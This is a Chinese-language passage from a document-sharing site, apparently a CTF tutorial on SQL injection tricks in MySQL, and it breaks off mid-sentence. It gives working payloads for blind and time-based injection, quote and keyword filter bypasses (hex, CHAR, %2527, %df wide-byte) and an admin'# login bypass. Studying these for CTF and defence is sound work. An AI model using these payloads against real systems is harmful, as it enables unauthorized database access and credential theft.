资源描述:
《ctf中sql注入下的一些小技巧》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库。
1、ctf中sql注入下的一些小技巧注释符以下是Mysql中可以用到的单行注释符:#---(需要在--后面留一个空格,因为有的浏览器默认会把空格过滤掉所以在空格后加一些东西无影响);%00以下是Mysql中可以用到的多行注释符(mysql下需要闭合):/*判断当前库是否有字段名对于CTF中的题,某些可以直接判断有无flag表1′or(flag)例如:全表用or试一下这里解释一下为什么or的结果为什么不全,说白了也就是atoi函数的特性or(列名)其实是遍历字段名中的每个值然后选取那些不为false的内容,因为在mysql中’ssdd’字符串默认等于0等于f
2、alse所以不显示,而’4ddf’这样的字符串默认等于4,也就是true也就会返回了,而pupil是因为number=1所以也返回limit下的字段数判断众所周知where条件下的字段数可以用orderby判断,而limit后可以利用 1,into@,@ (@为字段数)判断字段数@为mysql临时变量,or条件下的回显以前总是对whereid='1'or'1'='1'和whereid='0'or'1'='1'的回显一直不是很了解,所以今天搭建环境测试了一下,如下可见所以猜测在or条件下前后如果都为真则返回所有结果,否则只返回条件为真的一方的值conca
3、t与concat_ws与group_concat1.2MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULLmysql>selectconcat('11','22',null);+------------------------+
4、concat('11','22',null)
5、+------------------------+
6、NULL
7、+------------------------+1rowinset(0.00sec)和concat不同的是,concat_ws函数在执行的时候,不会因为NULL值而返回NULL
8、mysql>selectconcat_ws(',','11','22',NULL);+-------------------------------+
9、concat_ws(',','11','22',NULL)
10、+-------------------------------+
11、11,22
12、+-------------------------------+1rowinset(0.00sec)盲注下的条件语句和时间函数这是我前几天刷wechall碰到的题,例如一下注入语句select*fromtest1whereid='$_GET[id]';已知没有回显
13、位,id=3和id=1返回结果不一样并且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B师傅当时的payloadif(substr(flag,1,1)in(0x41),3,0)写个脚本爆破之可得flag而基于时间的注入以前都是一直用的if(xxxxxx,1,sleep(2));最也发现了一个更好的函数BENCHMARKIF(left(version(),1,1)=5,BENCHMARK(100000,SHA1('1')),1)BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果绕过’被过滤hex编码SELECT
14、passwordFROMUsersWHEREusername=0x61646D696Echar编码SELECTFROMUsersWHEREusername=CHAR(97,100,109,105,110)html实体字符编码SELECTFROMUsersWHEREusername='admin'%2527这里主要是因为绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。宽字节就不说了gbk编码在单引号前面加一个%df即可表名等关键字被过滤以information_schem
15、a.tables为例空格 information_schema.tables着重号 informationschema.tables特殊符 /!informationschema.tables/别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)表单认证绕过这里选两题一题是实验吧的web分类第一题"SELECTusernameFROMusersWHEREusername='$username'ANDpassword='$pass
16、word'"这样的直接username=admin'#即可,或者username='='&pa